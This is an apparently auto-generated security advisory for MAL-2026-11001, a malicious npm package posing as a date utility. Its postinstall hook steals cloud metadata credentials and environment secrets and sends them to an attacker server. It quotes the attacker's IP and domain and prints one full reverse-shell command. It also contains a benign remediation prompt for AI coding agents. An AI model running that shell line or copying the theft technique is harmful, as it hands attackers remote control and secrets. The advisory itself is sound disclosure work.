# MAL-2026-11001: Malicious code in date-format-utils-xz (npm)


- **Type:** Malicious package
- **Package:** `date-format-utils-xz` (npm)
- **Published:** 21 Jul 2026

## What is MAL-2026-11001?

MAL-2026-11001 is a malicious package in date-format-utils-xz, published on 21 Jul 2026. 

### Official description

The npm package `date-format-utils-xz` masquerades as a date-formatting utility but is malicious. Its own decoy `index.js` is prefaced with a Chinese comment translating to "disguised as a normal date formatting tool."

Every published version (1.0.0-1.0.4) declares a `postinstall` lifecycle hook (`postinstall: node postinstall.js`) that runs automatically on `npm install`, before the package is imported, and the payload escalated across releases.

Versions 1.0.0-1.0.3 are a cloud-metadata / environment harvester. The hook shells out with `curl` to the link-local cloud instance-metadata endpoints of the major providers -- Alibaba (100.100.100.200), AWS/GCP-style (169.254.169.254) and Tencent (metadata.tencentyun.com) -- to steal instance identity/roles and (on misconfigured instances) temporary cloud credentials, and runs `env` to dump the full process environment (CI secrets, cloud tokens, npm tokens). The data is exfiltrated by HTTP POST to an attacker-controlled C2 under paths /meta/ali, /meta/aws, /meta/tx, /meta/env (and /meta/all in 1.0.3); 1.0.0 is a lighter recon beacon (GET /pre?h={hostname}&u={user}). The C2 migrated from the domain `zhijiujiu.cn` (1.0.0, 1.0.1) to the hard-coded IP `8.135.48.40` port 80 (1.0.2, 1.0.3) -- a domain-to-IP move that evades DNS-based blocking.

Version 1.0.4 escalated to a full REVERSE SHELL: postinstall.js opens a TCP connection to 8.135.48.40:4444 via Node net.connect and pipes a spawned /bin/sh over the socket, with fallbacks to `bash -i >& /dev/tcp/8.135.48.40/4444 0>&1` and a python3 pty shell; failures beacon to /shell/failed and /shell/error. This is interactive remote code execution on any host that installs the package.

Shortly after publishing 1.0.4 the operator unpublished the entire package from npm (all versions removed from the registry).

The package presents itself as a date-formatting utility but its postinstall.js runs automatically on npm install and performs credential/metadata theft. It shells out via execSync/curl to query cloud instance metadata endpoints for Alibaba Cloud (100.100.100.200), AWS (169.254.169.254), and Tencent (metadata.tencentyun.com), dumps the installer's entire process environment (`env > /tmp/env.txt`), and POSTs each payload to a hardcoded bare-IP server at http://8.135.48.40 (path /meta/env for the env dump). A GET fallback exfiltrates error details to the same host. index.js is a minimal date-utility stub and contains a comment ("disguised as a normal date formatting tool") acknowledging the cover, while the exfiltration logic lives entirely in the postinstall lifecycle script. On any cloud or CI host, this leaks whatever secrets are present in the environment (AWS_*, tokens, DB passwords, CI secrets) and any credentials retrievable from the instance metadata services.

## What should I do about MAL-2026-11001?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-11001 is a malicious package: date-format-utils-xz (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-11001/ (Markdown: https://insights.sbomify.com/MAL-2026-11001/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-11001

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-11001/
Summaries are generated and may contain mistakes; the official description above is the record.
